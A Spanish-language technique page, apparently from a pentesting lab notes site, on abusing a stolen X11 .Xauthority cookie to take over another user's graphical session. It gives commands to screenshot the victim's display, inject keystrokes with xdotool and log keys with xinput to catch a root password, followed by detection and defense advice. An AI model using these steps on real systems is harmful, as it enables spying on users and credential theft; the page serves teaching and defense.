the_open_door
café
ESEN
← Volver al índice

X11 abuse (.Xauthority)

X11 (X Window System) es el sistema gráfico clásico de Unix/Linux: un servidor X gestiona la pantalla, el teclado y el ratón, y los programas (clientes) se conectan a él para dibujar ventanas. Esa arquitectura cliente-servidor permite control remoto del escritorio, pero también significa que quien pueda autenticarse contra un servidor X controla esa sesión gráfica: leer la pantalla, capturar pulsaciones de teclado, abrir ventanas, etc.

La autenticación habitual es la MIT-MAGIC-COOKIE-1: una cookie secreta guardada en el fichero ~/.Xauthority de cada usuario (por eso tiene permisos 600). Cualquier cliente que presente esa cookie es aceptado por el servidor X de ese usuario. En la práctica, .Xauthority es una credencial: si se filtra, se hereda el control de la sesión.

Enumeración

Primero se confirma que hay una sesión X activa y de qué usuario, y dónde está su cookie:

w                     # sesiones activas: columna FROM con :0 = sesion grafica local
ps aux | grep -i xorg # el argumento -auth /ruta/.Xauthority apunta al fichero de cookie
who                   # display asociado a cada login

Explotación

Conseguido el .Xauthority del usuario objetivo por cualquier vía (un share NFS mal exportado con mapeo de UID, un backup, permisos flojos, otra escalada parcial), se carga en el entorno y se interactúa con el display:

export XAUTHORITY=/home/<victima>/.Xauthority
export DISPLAY=:0
xwininfo -root -tree            # arbol de ventanas abiertas en esa sesion
xwd -root -screen -silent -display :0 > screen.xwd   # captura de pantalla
convert screen.xwd screen.png                        # convertir para verla
# tambien: import -window root screen.png (ImageMagick), o inyectar teclas:
xdotool key --clearmodifiers ctrl+alt+t              # abrir una terminal en la sesion

Una captura de pantalla del display de otro usuario suele bastar para encontrar secretos a la vista: un gestor de contraseñas abierto, una terminal con credenciales, un documento sensible. Con xdotool se puede ir más allá (inyectar teclas, registrar el teclado con xinput test), lo que permite capturar la contraseña de root cuando la víctima la teclea.

Requisitos

Una sesión X11 activa del usuario objetivo (no aplica a Wayland ni a servidores sin GUI) y acceso de lectura a su ~/.Xauthority. Alcance al servidor X (local o por reenvío del puerto 6000+display). El valor depende de qué haya visible en esa pantalla.

Cómo detectarlo. El abuso deja poca telemetría específica, pero hay ángulos. La lectura del .Xauthority ajeno aparece como un 4663/acceso a fichero en auditd si hay SACL, o como un montaje NFS sospechoso. Las herramientas X de terceros (xwd, import, xdotool, xinput) ejecutadas por un usuario que no es el dueño de la sesión son señal directa en auditd/Sysmon for Linux. Conexiones al puerto TCP 6000 (X sobre red) desde un origen inesperado también delatan el uso remoto.

Defensa. Proteger ~/.Xauthority (permisos estrictos, no exponerlo por red ni por NFS), bloquear la sesión y la bóveda de contraseñas al ausentarse, desactivar X sobre TCP (-nolisten tcp) y en entornos modernos preferir Wayland, que aísla los clientes gráficos entre sí y no permite que uno lea la pantalla o el teclado de otro por defecto. Relacionado con el abuso de UID en NFS, que aquí es la vía para leer el .Xauthority ajeno.

Máquinas donde se aplica